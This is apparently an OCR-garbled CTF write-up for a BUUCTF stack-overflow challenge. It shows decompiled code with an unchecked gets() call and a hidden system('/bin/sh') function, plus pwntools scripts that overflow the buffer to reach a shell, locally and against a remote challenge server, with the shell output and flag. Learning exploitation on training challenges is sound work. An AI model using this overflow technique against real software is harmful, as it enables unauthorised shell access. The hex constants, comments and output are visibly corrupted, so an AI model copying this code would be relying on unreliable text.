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Remote - WS I_ ms-vscode-remoteremote-ws| | FEsiE
Microsoft | @ 6921371 | * k% k% | 7EE | ¥ORE | v0.546
Open any folder in the Windows Subsystem for Linux (WSL) and take advantage of Visual Studio Code's full feature set.
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New PowerShell

New Command Prompt

New Git Bash

New Ubuntu-20.04 (WSL)
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r = remote(| n',28808)
r.recvuntil(’y

pl = p32(oxeseaceas) + '
r.sendline(p1)

r.interactive()

in /mnt/d/CTF/Text/buuctf/5_pwn [20:52:42]
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int _ cdecl main(int argc, const char **argv, const char **envp)

{
char s; // [rsp+1lh] [rbp-Fh]

puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!l 11"};
return 9;

maini 0 F7Egets (BRI F /7 8 IRTH), A Frcanary®l LA H AR H
MirsZE &, #EAmaini BikX

-00000DEPPRRERLE ; D/A/S* : change type (data/asciiy
-0900000000000010 ; N I rename
-9RPRERRRRRRRER1G ; U : undefine

-90PREPARRRRRAR1R ; Use data definition commands to cr
-90PREPRRRRRRAR1R ; Two special fields " r" and " s" r
-90PREPARPRRRARLE ; Frame size: 18; Saved regs: 8; Pur
-0000000000000018 ;

-000P0RBAROD10
-000P0RBAROD10 db ? ; undefined
-00P0PRVOPBAROROF S db ?
-90PBAOOPOAROOE db ? ; undefined
-0PBPOOPBARORED db ? ; undefined
-000B0ROOBAROROC db ? ; undefined
-00PBAOOPBAOOB db ? ; undefined
-00PBPROOPBARORLA db ? ; undefined
-00BPOOBAROAT db ? ; undefined
-00PBARORBARO0OS db ? ; undefined
-000BP0RBARO07 db ? ; undefined
-0PBAROOPBAROOE db ? ; undefined
-0PBAOOBARO0OS db ? ; undefined
-000PNOPBAROR0A db ? ; undefined
-00PBPRORBARO003 db ? ; undefined
-0PB0R0OBARO02 db ? ; undefined
-0PBARORBAROR01 db ? ; undefined
+0000000P0000OR0D s db 8 dup(?)
+0000000000000POS I db 8 dup(?)
+00000000BA00010

+0000P00RRERRRe10 ; end of stack variahles
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int fun()

{

return system("/bin/sh");
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:0000poeRea4a1186
:00o0oooRRa4a1186
:00o0oooRRa4a1186
:00o0oooRRa4a1186
:00o0oooRRa4a1186

0000PREEEBAR1187
000000000040118A
0000000000401191
0000000000401196
0000000000401197
0000000000401198
0000000000401198
0000000000401198
0000000000401198
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public fun

fun proc near

; _unwind {
push rbp
mov rbp, rsp
lea rdi, command
call _system
nop
pop rbp
retn

5 ¥ // starts at 401186

fun endp
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from pwn import *

r = process('./pwnl') # EEA (A HEERE

pl = "a"*(@xf + Bx8) + p64(0x8401186)
#t BEIrFIEZE H0x04011861 £, & iEmain &K [EH,H

r.sendline(pl) # X playload

r.interactive() # HFEX 4

; "/bin/sh"



python exp.py
[+] starting local process './pwnl': pid 75
[*] switching to interactive mode
please input

A33333333333333333333aa\x86\x11
ok,bye! Il
[*] Got EOF while reading in interactive
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text:0000000000401184 leave
text:0000000000401185 retn
text:0000000000401185 ; } // starts at 401142
text:0000000000401185 main endp
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from pwn import *
r = process('./pwnl') # pEEH] (&ML

pl = "a"*(Oxf + Ox8) + p64(0x0401185) + p64(0x0401186
# BHEAIEZ G B Rmain HEUREH A Aretn, FF#ox04011867 6, Eiiretn 98 EIHAE

r.sendline(pl) # %&playload

r.interactive() # X4

python exp.py
[+] starting local process './pwnl': pid 83
[*] switching to interactive mode
please input

aaaaaaaaaaaaaaaaaaaaaaa\xss5\x11
ok,byel !l
1s
core exp.py pwnl pwnl.id® pwnl.idl pwnl.id2 pwnl.nam pwnl.til
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from pwn import *

r = remote("node3.buuoj.cn", 29885) # LK GHHXET
# r = process('./pwnl')

pl = "a"*(@xf + Bx8) + p64(Bx0401185) + p64(Ox0401186)
r.sendline(pl)

r.interactive()
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python exp.py
[+] Opening connection to node3.buuoj.cn on port 29885: Done
[*] switching to interactive mode

cat flag
Tlag{@ac5995a-1848-4212-83e8-1df4ebobdaga }
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B AT AR — TR flag T
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1. UAF(Use After Free)
2. 1% malloc_hook

3. f&%__10_1_2 stdout
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